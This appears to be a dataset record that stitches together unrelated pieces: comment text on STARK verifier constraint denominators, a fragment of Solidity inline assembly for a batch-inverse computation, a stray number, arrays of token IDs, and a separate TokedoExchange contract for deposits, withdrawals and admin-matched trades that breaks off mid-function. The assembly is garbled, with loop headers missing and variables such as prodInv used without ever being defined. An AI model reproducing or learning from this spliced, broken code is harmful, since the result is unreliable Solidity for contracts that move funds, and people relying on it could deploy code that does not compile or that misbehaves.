constraints: 'ecdsa/signature0/exponentiate_key/bit_extraction_end'. denominators[17] = point^(trace_length / 4096) - trace_generator^(251 * trace_length / 256). Denominator for constraints: 'ecdsa/signature0/exponentiate_key/zeros_tail'. denominators[18] = point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). Denominator for constraints: 'ecdsa/signature0/init_gen/x', 'ecdsa/signature0/init_gen/y', 'ecdsa/signature0/add_results/slope', 'ecdsa/signature0/add_results/x', 'ecdsa/signature0/add_results/y', 'ecdsa/signature0/add_results/x_diff_inv', 'ecdsa/signature0/extract_r/slope', 'ecdsa/signature0/extract_r/x', 'ecdsa/signature0/extract_r/x_diff_inv', 'ecdsa/signature0/z_nonzero', 'ecdsa/signature0/q_on_curve/x_squared', 'ecdsa/signature0/q_on_curve/on_curve', 'ecdsa/message_addr', 'ecdsa/pubkey_addr', 'ecdsa/message_value0', 'ecdsa/pubkey_value0'. denominators[19] = point^(trace_length / 8192) - 1. Denominator for constraints: 'ecdsa/signature0/init_key/x', 'ecdsa/signature0/init_key/y', 'ecdsa/signature0/r_and_w_nonzero'. denominators[20] = point^(trace_length / 4096) - 1. Compute the inverses of the denominators into denominatorInvs using batch inverse. Start by computing the cumulative product. Let (d_0, d_1, d_2, ..., d_{n-1}) be the values in denominators. After this loop denominatorInvs will be (1, d_0, d_0 * d_1, ...) and prod will contain the value of d_0 * ... * d_{n-1}. Compute the offset between the partialProducts array and the input values array. prod *= d_{i}. Solidity generates reverts with reason that look as follows: 1. 4 bytes with the constant 0x08c379a0 (== Keccak256(b'Error(string)')[:4]). 2. 32 bytes offset bytes (always 0x20 as far as i can tell). 3. 32 bytes with the length of the revert reason. 4. Revert reason string.
fallback() external { uint256 res; assembly { let PRIME := 0x800000000000011000000000000000000000000000000000000000000000001 calldatacopy(0x0, 0x0, /*Input data size*/ 0x3380) let point := /*oods_point*/ mload(0x380) function expmod(base, exponent, modulus) -> result { let p := /*expmod_context*/ 0x41e0 if iszero(staticcall(not(0), 0x05, p, 0xc0, p, 0x20)) { revert(0, 0) } result := mload(p) } { mstore(0x38e0, expmod(point, /*trace_length*/ mload(0x80), PRIME)) mstore(0x3900, expmod(point, div(/*trace_length*/ mload(0x80), 16), PRIME)) mstore(0x3920, expmod(point, div(/*trace_length*/ mload(0x80), 2), PRIME)) mstore(0x3940, expmod(point, div(/*trace_length*/ mload(0x80), 8), PRIME)) mstore(0x3960, expmod(point, div(/*trace_length*/ mload(0x80), 256), PRIME)) mstore(0x3980, expmod(point, div(/*trace_length*/ mload(0x80), 512), PRIME)) mstore(0x39a0, expmod(point, div(/*trace_length*/ mload(0x80), 128), PRIME)) mstore(0x39c0, expmod(point, div(/*trace_length*/ mload(0x80), 4096), PRIME)) mstore(0x39e0, expmod(point, div(/*trace_length*/ mload(0x80), 32), PRIME)) mstore(0x3a00, expmod(point, div(/*trace_length*/ mload(0x80), 8192), PRIME)) mstore(0x3a20, expmod(/*trace_generator*/ mload(0x360), div(mul(15, /*trace_length*/ mload(0x80)), 16), PRIME)) mstore(0x3a40, expmod(/*trace_generator*/ mload(0x360), mul(16, sub(div(/*trace_length*/ mload(0x80), 16), 1)), PRIME)) mstore(0x3a60, expmod(/*trace_generator*/ mload(0x360), mul(2, sub(div(/*trace_length*/ mload(0x80), 2), 1)), PRIME)) mstore(0x3a80, expmod(/*trace_generator*/ mload(0x360), sub(/*trace_length*/ mload(0x80), 1), PRIME)) mstore(0x3aa0, expmod(/*trace_generator*/ mload(0x360), div(mul(255, /*trace_length*/ mload(0x80)), 256), PRIME)) mstore(0x3ac0, expmod(/*trace_generator*/ mload(0x360), div(mul(63, /*trace_length*/ mload(0x80)), 64), PRIME)) mstore(0x3ae0, expmod(/*trace_generator*/ mload(0x360), div(/*trace_length*/ mload(0x80), 2), PRIME)) mstore(0x3b00, expmod(/*trace_generator*/ mload(0x360), mul(128, sub(div(/*trace_length*/ mload(0x80), 128), 1)), PRIME)) mstore(0x3b20, expmod(/*trace_generator*/ mload(0x360), div(mul(251, /*trace_length*/ mload(0x80)), 256), PRIME)) mstore(0x3b40, expmod(/*trace_generator*/ mload(0x360), mul(8192, sub(div(/*trace_length*/ mload(0x80), 8192), 1)), PRIME)) } { mstore(0x3e00, addmod(/*point^trace_length*/ mload(0x38e0), sub(PRIME, 1), PRIME)) mstore(0x3e20, addmod( sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x3a20)), PRIME)) mstore(0x3e40, addmod(/*point^(trace_length / 16)*/ mload(0x3900), sub(PRIME, 1), PRIME)) mstore(0x3e60, addmod(point, sub(PRIME, 1), PRIME)) mstore(0x3e80, addmod( point, sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x3a40)), PRIME)) mstore(0x3ea0, addmod(/*point^(trace_length / 2)*/ mload(0x3920), sub(PRIME, 1), PRIME)) mstore(0x3ec0, addmod( point, sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x3a60)), PRIME)) mstore(0x3ee0, addmod(/*point^(trace_length / 8)*/ mload(0x3940), sub(PRIME, 1), PRIME)) mstore(0x3f00, addmod(point, sub(PRIME, /*trace_generator^(trace_length - 1)*/ mload(0x3a80)), PRIME)) mstore(0x3f20, addmod(/*point^(trace_length / 256)*/ mload(0x3960), sub(PRIME, 1), PRIME)) mstore(0x3f40, addmod( sub(PRIME, /*trace_generator^(63 * trace_length / 64)*/ mload(0x3ac0)), PRIME)) mstore(0x3f60, addmod( sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) mstore(0x3f80, addmod(/*point^(trace_length / 512)*/ mload(0x3980), sub(PRIME, 1), PRIME)) mstore(0x3fa0, addmod(/*point^(trace_length / 128)*/ mload(0x39a0), sub(PRIME, 1), PRIME)) mstore(0x3fc0, addmod(/*point^(trace_length / 32)*/ mload(0x39e0), sub(PRIME, 1), PRIME)) mstore(0x3fe0, addmod( sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x3b20)), PRIME)) mstore(0x4000, addmod( sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) mstore(0x4020, addmod( sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x3b20)), PRIME)) mstore(0x4040, addmod( sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) mstore(0x4060, addmod(/*point^(trace_length / 8192)*/ mload(0x3a00), sub(PRIME, 1), PRIME)) mstore(0x4080, addmod(/*point^(trace_length / 4096)*/ mload(0x39c0), sub(PRIME, 1), PRIME)) } { let productsToValuesOffset := 0x2a0 let prod := 1 let partialProductEndPtr := 0x3e00 lt(partialProductPtr, partialProductEndPtr) mstore(partialProductPtr, prod) prod := mulmod(prod, mload(add(partialProductPtr, productsToValuesOffset)), PRIME) } let firstPartialProductPtr := 0x3b60 if eq(prodInv, 0) { mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000) mstore(0x4, 0x20) mstore(0x24, 0x1e) mstore(0x44, "Batch inverse product is zero.") revert(0, 0x62) } currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) } }
13,765,245
[ 1, 2951, 810, 628, 745, 892, 358, 3778, 18, 3049, 1965, 23829, 675, 11100, 18, 7730, 1329, 22760, 364, 10716, 30425, 471, 26511, 3062, 18, 1329, 22760, 63, 20, 65, 273, 1634, 66, 5129, 67, 2469, 18, 1329, 22760, 63, 21, 65, 273, 1634, 29020, 5129, 67, 2469, 342, 2872, 2934, 1329, 22760, 63, 22, 65, 273, 1634, 29020, 5129, 67, 2469, 342, 576, 2934, 1329, 22760, 63, 23, 65, 273, 1634, 29020, 5129, 67, 2469, 342, 1725, 2934, 1329, 22760, 63, 24, 65, 273, 1634, 29020, 5129, 67, 2469, 342, 8303, 2934, 1329, 22760, 63, 25, 65, 273, 1634, 29020, 5129, 67, 2469, 342, 13908, 2934, 1329, 22760, 63, 26, 65, 273, 1634, 29020, 5129, 67, 2469, 342, 8038, 2934, 1329, 22760, 63, 27, 65, 273, 1634, 29020, 5129, 67, 2469, 342, 16797, 2934, 1329, 22760, 63, 28, 65, 273, 1634, 29020, 5129, 67, 2469, 342, 3847, 2934, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 5922, 1435, 3903, 288, 203, 3639, 2254, 5034, 400, 31, 203, 3639, 19931, 288, 203, 5411, 2231, 10365, 958, 519, 374, 92, 28, 12648, 2787, 2499, 12648, 12648, 12648, 12648, 12648, 9449, 1611, 203, 5411, 745, 892, 3530, 12, 20, 92, 20, 16, 374, 92, 20, 16, 1748, 1210, 501, 963, 5549, 374, 92, 3707, 3672, 13, 203, 5411, 2231, 1634, 519, 1748, 4773, 87, 67, 1153, 5549, 312, 945, 12, 20, 92, 23, 3672, 13, 203, 5411, 445, 1329, 1711, 12, 1969, 16, 9100, 16, 24770, 13, 317, 563, 288, 203, 2868, 2231, 293, 519, 1748, 2749, 1711, 67, 2472, 5549, 374, 92, 9803, 73, 20, 203, 2868, 309, 353, 7124, 12, 3845, 1991, 12, 902, 12, 20, 3631, 374, 92, 6260, 16, 293, 16, 374, 6511, 20, 16, 293, 16, 374, 92, 3462, 3719, 288, 203, 7734, 15226, 12, 20, 16, 374, 13, 203, 2868, 289, 203, 2868, 563, 519, 312, 945, 12, 84, 13, 203, 5411, 289, 203, 5411, 288, 203, 203, 2868, 312, 2233, 12, 20, 92, 7414, 73, 20, 16, 1329, 1711, 12, 1153, 16, 1748, 5129, 67, 2469, 5549, 312, 945, 12, 20, 92, 3672, 3631, 10365, 958, 3719, 203, 203, 2868, 312, 2233, 12, 20, 92, 5520, 713, 16, 1329, 1711, 12, 1153, 16, 3739, 12, 20308, 5129, 67, 2469, 5549, 312, 945, 12, 20, 92, 3672, 3631, 2872, 3631, 10365, 958, 3719, 203, 203, 2868, 312, 2233, 12, 20, 92, 5520, 3462, 16, 1329, 1711, 12, 1153, 16, 3739, 12, 20308, 5129, 67, 2469, 5549, 2 ]
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed oldOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner, "msg.sender == owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { require(address(0) != _newOwner, "address(0) != _newOwner"); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner, "msg.sender == newOwner"); emit OwnershipTransferred(owner, msg.sender); owner = msg.sender; newOwner = address(0); } } contract Adminable is Ownable { mapping(address => bool) public admins; modifier onlyAdmin() { require(admins[msg.sender] && msg.sender != owner, "admins[msg.sender] && msg.sender != owner"); _; } function setAdmin(address _admin, bool _authorization) public onlyOwner { admins[_admin] = _authorization; } } contract Token { function transfer(address _to, uint256 _value) public returns (bool success); function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); uint8 public decimals; } contract TokedoExchange is Ownable, Adminable { using SafeMath for uint256; mapping (address => uint256) public invalidOrder; function invalidateOrdersBefore(address _user) public onlyAdmin { require(now > invalidOrder[_user], "now > invalidOrder[_user]"); invalidOrder[_user] = now; } mapping (address => mapping (address => uint256)) public tokens; //mapping of token addresses to mapping of account balances mapping (address => uint256) public lastActiveTransaction; // time of last interaction with this contract mapping (bytes32 => uint256) public orderFills; //balanceOf order filled address public feeAccount; uint256 public inactivityReleasePeriod = 2 weeks; mapping (bytes32 => bool) public hashed; //hashes of: order already traded && funds already hashed && accounts updated uint256 public constant maxFeeWithdrawal = 0.05 ether; // max fee rate applied = 5% uint256 public constant maxFeeTrade = 0.10 ether; // max fee rate applied = 10% address public tokedoToken; uint256 public tokedoTokenFeeDiscount; mapping (address => bool) public baseCurrency; constructor(address _feeAccount, address _tokedoToken, uint256 _tokedoTokenFeeDiscount) public { feeAccount = _feeAccount; tokedoToken = _tokedoToken; tokedoTokenFeeDiscount = _tokedoTokenFeeDiscount; } /*************************** * EDITABLE CONFINGURATION * ***************************/ function setInactivityReleasePeriod(uint256 _expiry) public onlyAdmin returns (bool success) { require(_expiry < 26 weeks, "_expiry < 26 weeks"); inactivityReleasePeriod = _expiry; return true; } function setFeeAccount(address _newFeeAccount) public onlyOwner returns (bool success) { feeAccount = _newFeeAccount; success = true; } function setTokedoToken(address _tokedoToken) public onlyOwner returns (bool success) { tokedoToken = _tokedoToken; success = true; } function setTokedoTokenFeeDiscount(uint256 _tokedoTokenFeeDiscount) public onlyOwner returns (bool success) { tokedoTokenFeeDiscount = _tokedoTokenFeeDiscount; success = true; } function setBaseCurrency (address _baseCurrency, bool _boolean) public onlyOwner returns (bool success) { baseCurrency[_baseCurrency] = _boolean; success = true; } /*************************** * UPDATE ACCOUNT ACTIVITY * ***************************/ function updateAccountActivity() public { lastActiveTransaction[msg.sender] = now; } function adminUpdateAccountActivity(address _user, uint256 _expiry, uint8 _v, bytes32 _r, bytes32 _s) public onlyAdmin returns(bool success) { require(now < _expiry, "should be: now < _expiry"); bytes32 hash = keccak256(abi.encodePacked(this, _user, _expiry)); require(!hashed[hash], "!hashed[hash]"); hashed[hash] = true; require(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), _v, _r, _s) == _user,"invalid update account activity signature"); lastActiveTransaction[_user] = now; success = true; } /***************** * DEPOSIT TOKEN * *****************/ event Deposit(address token, address user, uint256 amount, uint256 balance); function tokenFallback(address _from, uint256 _amount, bytes) public returns(bool) { depositTokenFunction(msg.sender, _amount, _from); return true; } function receiveApproval(address _from, uint256 _amount, bytes) public returns(bool) { transferFromAndDepositTokenFunction(msg.sender, _amount, _from, _from); return true; } function depositToken(address _token, uint256 _amount) public returns(bool) { transferFromAndDepositTokenFunction(_token, _amount, msg.sender, msg.sender); return true; } function depositTokenFor(address _token, uint256 _amount, address _beneficiary) public returns(bool) { transferFromAndDepositTokenFunction(_token, _amount, msg.sender, _beneficiary); return true; } function transferFromAndDepositTokenFunction (address _token, uint256 _amount, address _sender, address _beneficiary) private { require(Token(_token).transferFrom(_sender, this, _amount), "Token(_token).transferFrom(_sender, this, _amount)"); depositTokenFunction(_token, _amount, _beneficiary); } function depositTokenFunction(address _token, uint256 _amount, address _beneficiary) private { tokens[_token][_beneficiary] = tokens[_token][_beneficiary].add(_amount); if(tx.origin == _beneficiary) lastActiveTransaction[tx.origin] = now; emit Deposit(_token, _beneficiary, _amount, tokens[_token][_beneficiary]); } /***************** * DEPOSIT ETHER * *****************/ function depositEther() public payable { depositEtherFor(msg.sender); } function depositEtherFor(address _beneficiary) public payable { tokens[address(0)][_beneficiary] = tokens[address(0)][_beneficiary].add(msg.value); if(msg.sender == _beneficiary) lastActiveTransaction[msg.sender] = now; emit Deposit(address(0), _beneficiary, msg.value, tokens[address(0)][_beneficiary]); } /************ * WITHDRAW * ************/ event EmergencyWithdraw(address token, address user, uint256 amount, uint256 balance); function emergencyWithdraw(address _token, uint256 _amount) public returns (bool success) { require(now.sub(lastActiveTransaction[msg.sender]) > inactivityReleasePeriod, "now.sub(lastActiveTransaction[msg.sender]) > inactivityReleasePeriod"); require(tokens[_token][msg.sender] >= _amount, "not enough balance for withdrawal"); tokens[_token][msg.sender] = tokens[_token][msg.sender].sub(_amount); if (_token == address(0)) { require(msg.sender.send(_amount), "msg.sender.send(_amount)"); } else { require(Token(_token).transfer(msg.sender, _amount), "Token(_token).transfer(msg.sender, _amount)"); } emit EmergencyWithdraw(_token, msg.sender, _amount, tokens[_token][msg.sender]); success = true; } event Withdraw(address token, address user, uint256 amount, uint256 balance); function adminWithdraw(address _token, uint256 _amount, address _user, uint256 _nonce, uint8 _v, bytes32[2] _rs, uint256[2] _fee) public onlyAdmin returns (bool success) { /*_fee [0] _feeWithdrawal [1] _payWithTokedo (yes is 1 - no is 0) _rs [0] _r [1] _s */ bytes32 hash = keccak256(abi.encodePacked(this, _fee[1], _token, _amount, _user, _nonce)); require(!hashed[hash], "!hashed[hash]"); hashed[hash] = true; require(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), _v, _rs[0], _rs[1]) == _user, "invalid withdraw signature"); require(tokens[_token][_user] >= _amount, "not enough balance for withdrawal"); tokens[_token][_user] = tokens[_token][_user].sub(_amount); uint256 fee; if (_fee[1] == 1) fee = toWei(_amount, _token).mul(_fee[0]) / 1 ether; if (_fee[1] == 1 && tokens[tokedoToken][_user] >= fee) { tokens[tokedoToken][feeAccount] = tokens[tokedoToken][feeAccount].add(fee); tokens[tokedoToken][_user] = tokens[tokedoToken][_user].sub(fee); } else { if (_fee[0] > maxFeeWithdrawal) _fee[0] = maxFeeWithdrawal; fee = _fee[0].mul(_amount) / 1 ether; tokens[_token][feeAccount] = tokens[_token][feeAccount].add(fee); _amount = _amount.sub(fee); } if (_token == address(0)) { require(_user.send(_amount), "_user.send(_amount)"); } else { require(Token(_token).transfer(_user, _amount), "Token(_token).transfer(_user, _amount)"); } lastActiveTransaction[_user] = now; emit Withdraw(_token, _user, _amount, tokens[_token][_user]); success = true; } function balanceOf(address _token, address _user) public view returns (uint256) { return tokens[_token][_user]; } /*************** * ADMIN TRADE * ***************/ function adminTrade(uint256[] _values, address[] _addresses, uint8[] _v, bytes32[] _rs) public onlyAdmin returns (bool success) { /* amountSellTaker is in amountBuyMaker terms _values [0] amountSellTaker [1] tradeNonceTaker [2] feeTake [3] tokedoPrice [4] feePayableTokedoTaker (yes is 1 - no is 0) [5] feeMake [i*5+6] amountBuyMaker [i*5+7] amountSellMaker [i*5+8] expiresMaker [i*5+9] nonceMaker [i*5+10] feePayableTokedoMaker (yes is 1 - no is 0) _addresses [0] tokenBuyAddress [1] tokenSellAddress [2] takerAddress [i+3] makerAddress _v [0] vTaker [i+1] vMaker _rs [0] rTaker [1] sTaker [i*2+2] rMaker [i*2+3] sMaker */ /********************** * FEE SECURITY CHECK * **********************/ //if (feeTake > maxFeeTrade) feeTake = maxFeeTrade; if (_values[2] > maxFeeTrade) _values[2] = maxFeeTrade; // set max fee take // if (feeMake > maxFeeTrade) feeMake = maxFeeTrade; if (_values[5] > maxFeeTrade) _values[5] = maxFeeTrade; // set max fee make /******************************** * TAKER BEFORE SECURITY CHECK * ********************************/ //check if there are sufficient funds for TAKER: require(tokens[_addresses[0]][_addresses[2]] >= _values[0], "tokens[tokenBuyAddress][takerAddress] >= amountSellTaker"); /************** * LOOP LOGIC * **************/ bytes32[2] memory orderHash; uint256[8] memory amount; /* orderHash [0] globalHash [1] makerHash amount [0] totalBuyMakerAmount [1] appliedAmountSellTaker [2] remainingAmountSellTaker * [3] amountFeeMake * [4] amountFeeTake * [5] priceTrade * [6] feeTokedoMaker * [7] feeTokedoTaker */ // remainingAmountSellTaker = amountSellTaker amount[2] = _values[0]; for(uint256 i=0; i < (_values.length - 6) / 5; i++) { /************************ * MAKER SECURITY CHECK * *************************/ //required: nonceMaker is greater or egual makerAddress require(_values[i*5+9] >= invalidOrder[_addresses[i+3]], "nonceMaker >= invalidOrder[makerAddress]" ); // orderHash: ExchangeAddress, tokenBuyAddress, amountBuyMaker, tokenSellAddress, amountSellMaker, expiresMaker, nonceMaker, makerAddress, feePayableTokedoMaker orderHash[1] = keccak256(abi.encodePacked(abi.encodePacked(this, _addresses[0], _values[i*5+6], _addresses[1], _values[i*5+7], _values[i*5+8], _values[i*5+9], _addresses[i+3]), _values[i*5+10])); //globalHash = keccak256(abi.encodePacked(globalHash, makerHash)); orderHash[0] = keccak256(abi.encodePacked(orderHash[0], orderHash[1])); //required: the signer is the same address of makerAddress require(_addresses[i+3] == ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash[1])), _v[i+1], _rs[i*2+2], _rs[i*2+3]), 'makerAddress == ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", makerHash )), vMaker, rMaker , sMaker )'); /***************** * GLOBAL AMOUNT * *****************/ //appliedAmountSellTaker = amountBuyMaker.sub(orderFilled) amount[1] = _values[i*5+6].sub(orderFills[orderHash[1]]); //if remainingAmountSellTaker < appliedAmountSellTaker if (amount[2] < amount[1]) { //appliedAmountSellTaker = remainingAmountSellTaker amount[1] = amount[2]; } //remainingAmountSellTaker -= appliedAmountSellTaker amount[2] = amount[2].sub(amount[1]); //totalBuyMakerAmount += appliedAmountSellTaker amount[0] = amount[0].add(amount[1]); /****************************** * MAKER SECURITY CHECK FUNDS * ******************************/ //check if there are sufficient funds for MAKER: tokens[tokenSellAddress][makerAddress] >= amountSellMaker * appliedAmountSellTaker / amountBuyMaker require(tokens[_addresses[1]][_addresses[i+3]] >= (_values[i*5+7].mul(amount[1]).div(_values[i*5+6])), "tokens[tokenSellAddress][makerAddress] >= (amountSellMaker.mul(appliedAmountSellTaker).div(amountBuyMaker))"); /******************* * FEE COMPUTATION * *******************/ /* amount * [3] amountFeeMake * [4] amountFeeTake * [5] priceTrade * [6] feeTokedoMaker * [7] feeTokedoTaker */ //appliedAmountSellTaker = toWei(appliedAmountSellTaker, tokenBuyAddress); amount[1] = toWei(amount[1], _addresses[0]); //amountSellMaker = toWei(amountSellMaker, tokenSellAddress); _values[i*5+7] = toWei(_values[i*5+7], _addresses[1]); //amountBuyMaker = toWei(amountBuyMaker, tokenBuyAddress) _values[i*5+6] = toWei(_values[i*5+6], _addresses[0]); //amountFeeMake = appliedAmountSellTaker.mul(feeMake).div(1e18) amount[3] = amount[1].mul(_values[5]).div(1e18); //amountFeeTake = amountSellMaker.mul(feeTake).mul(appliedAmountSellTaker).div(amountBuyMaker) / 1e18; amount[4] = _values[i*5+7].mul(_values[2]).mul(amount[1]).div(_values[i*5+6]) / 1e18; //if (tokenBuyAddress == address(0) || (baseCurrency[tokenBuyAddress] && !(tokenSellAddress == address(0))) { if (_addresses[0] == address(0) || (baseCurrency[_addresses[0]] && !(_addresses[1] == address(0)))) { // maker sell order //amountBuyMaker is ETH or baseCurrency //amountSellMaker is TKN //amountFeeMake is ETH or baseCurrency //amountFeeTake is TKN //if (feePayableTokedoMaker == 1) feeTokedoMaker = amountFeeMake.mul(1e18).div(tokedoPrice).mul(tokedoTokenFeeDiscount).div(1e18); if (_values[i*5+10] == 1) amount[6] = amount[3].mul(1e18).div(_values[3]).mul(tokedoTokenFeeDiscount).div(1e18); //if (feePayableTokedoTaker == 1) if (_values[4] == 1) { // priceTrade = amountBuyMaker.mul(1e18).div(amountSellMaker) amount[5] = _values[i*5+6].mul(1e18).div(_values[i*5+7]); // price is ETH / TKN //feeTokedoTaker = amountFeeTake.mul(priceTrade).div(tokedoPrice).mul(tokedoTokenFeeDiscount).div(1e18); amount[7] = amount[4].mul(amount[5]).div(_values[3]).mul(tokedoTokenFeeDiscount).div(1e18); } //amountFeeTake = fromWei(amountFeeTake, tokenSellAddress); amount[4] = fromWei(amount[4], _addresses[1]); } else { //maker buy order //amountBuyMaker is TKN //amountSellMaker is ETH or baseCurrency //amountFeeMake is TKN //amountFeeTake is ETH or baseCurrency //if (feePayableTokedoTaker == 1) feeTokedoTaker = amountFeeTake.mul(1e18).div(tokedoPrice).mul(tokedoTokenFeeDiscount).div(1e18); if(_values[4] == 1) amount[7] = amount[4].mul(1e18).div(_values[3]).mul(tokedoTokenFeeDiscount).div(1e18); //if (feePayableTokedoMaker == 1) if (_values[i*5+10] == 1) { // priceTrade = amountSellMaker.mul(1e18).div(amountBuyMaker) amount[5] = _values[i*5+7].mul(1e18).div(_values[i*5+6]); // price is ETH / TKN // feeTokedoMaker = amountFeeMake.mul(priceTrade).div(tokedoPrice).mul(tokedoTokenFeeDiscount).div(1e18); amount[6] = amount[3].mul(amount[5]).div(_values[3]).mul(tokedoTokenFeeDiscount).div(1e18); } //amountFeeMake = fromWei(amountFeeMake, tokenBuyAddress); amount[3] = fromWei(amount[3], _addresses[0]); } //appliedAmountSellTaker = fromWei(appliedAmountSellTaker, tokenBuyAddress); amount[1] = fromWei(amount[1], _addresses[0]); //amountSellMaker = fromWei(amountSellMaker, tokenSellAddress); _values[i*5+7] = fromWei(_values[i*5+7], _addresses[1]); //amountBuyMaker = fromWei(amountBuyMaker, tokenBuyAddress) _values[i*5+6] = fromWei(_values[i*5+6], _addresses[0]); /********************** * FEE BALANCE UPDATE * **********************/ //feePayableTokedoTaker == 1 && tokens[tokedoToken][takerAddress] >= feeTokedoTaker if (_values[4] == 1 && tokens[tokedoToken][_addresses[2]] >= amount[7] ) { //tokens[tokedoToken][takerAddress] = tokens[tokedoToken][takerAddress].sub(feeTokedoTaker); tokens[tokedoToken][_addresses[2]] = tokens[tokedoToken][_addresses[2]].sub(amount[7]); //tokens[tokedoToken][feeAccount] = tokens[tokedoToken][feeAccount].add(feeTokedoTaker); tokens[tokedoToken][feeAccount] = tokens[tokedoToken][feeAccount].add(amount[7]); //amountFeeTake = 0; amount[4] = 0; } else { //tokens[tokenSellAddress][feeAccount] = tokens[tokenSellAddress][feeAccount].add(amountFeeTake); tokens[_addresses[1]][feeAccount] = tokens[_addresses[1]][feeAccount].add(amount[4]); } //feePayableTokedoMaker == 1 && tokens[tokedoToken][makerAddress] >= feeTokedoMaker if (_values[i*5+10] == 1 && tokens[tokedoToken][_addresses[i+3]] >= amount[6]) { //tokens[tokedoToken][makerAddress] = tokens[tokedoToken][makerAddress].sub(feeTokedoMaker); tokens[tokedoToken][_addresses[i+3]] = tokens[tokedoToken][_addresses[i+3]].sub(amount[6]); //tokens[tokedoToken][feeAccount] = tokens[tokedoToken][feeAccount].add(feeTokedoMaker); tokens[tokedoToken][feeAccount] = tokens[tokedoToken][feeAccount].add(amount[6]); //amountFeeMake = 0; amount[3] = 0; } else { //tokens[tokenBuyAddress][feeAccount] = tokens[tokenBuyAddress][feeAccount].add(amountFeeMake); tokens[_addresses[0]][feeAccount] = tokens[_addresses[0]][feeAccount].add(amount[3]); } /****************** * BALANCE UPDATE * ******************/ //tokens[tokenBuyAddress][takerAddress] = tokens[tokenBuyAddress][takerAddress].sub(appliedAmountSellTaker); tokens[_addresses[0]][_addresses[2]] = tokens[_addresses[0]][_addresses[2]].sub(amount[1]); //tokens[tokenBuyAddress][makerAddress] = tokens[tokenBuyAddress]][makerAddress].add(appliedAmountSellTaker.sub(amountFeeMake)); tokens[_addresses[0]][_addresses[i+3]] = tokens[_addresses[0]][_addresses[i+3]].add(amount[1].sub(amount[3])); //tokens[tokenSellAddress][makerAddress] = tokens[tokenSellAddress][makerAddress].sub(amountSellMaker.mul(appliedAmountSellTaker).div(amountBuyMaker)); tokens[_addresses[1]][_addresses[i+3]] = tokens[_addresses[1]][_addresses[i+3]].sub(_values[i*5+7].mul(amount[1]).div(_values[i*5+6])); //tokens[tokenSellAddress][takerAddress] = tokens[tokenSellAddress][takerAddress].add(amountSellMaker.mul(appliedAmountSellTaker).div(amountBuyMaker).sub(amountFeeTake)); tokens[_addresses[1]][_addresses[2]] = tokens[_addresses[1]][_addresses[2]].add(_values[i*5+7].mul(amount[1]).div(_values[i*5+6]).sub(amount[4])); /*********************** * UPDATE MAKER STATUS * ***********************/ //orderFills[orderHash[1]] = orderFills[orderHash[1]].add(appliedAmountSellTaker); orderFills[orderHash[1]] = orderFills[orderHash[1]].add(amount[1]); //lastActiveTransaction[makerAddress] = now; lastActiveTransaction[_addresses[i+3]] = now; } /******************************* * TAKER AFTER SECURITY CHECK * *******************************/ // tradeHash: globalHash, amountSellTaker, takerAddress, tradeNonceTaker, feePayableTokedoTaker bytes32 tradeHash = keccak256(abi.encodePacked(orderHash[0], _values[0], _addresses[2], _values[1], _values[4])); //required: the signer is the same address of takerAddress require(_addresses[2] == ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", tradeHash)), _v[0], _rs[0], _rs[1]), 'takerAddress == ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", tradeHash)), vTaker, rTaker, sTaker)'); //required: the same trade is not done require(!hashed[tradeHash], "!hashed[tradeHash] "); hashed[tradeHash] = true; //required: totalBuyMakerAmount == amountSellTaker require(amount[0] == _values[0], "totalBuyMakerAmount == amountSellTaker"); /*********************** * UPDATE TAKER STATUS * ***********************/ //lastActiveTransaction[takerAddress] = now; lastActiveTransaction[_addresses[2]] = now; success = true; } function toWei(uint256 _number, address _token) internal view returns 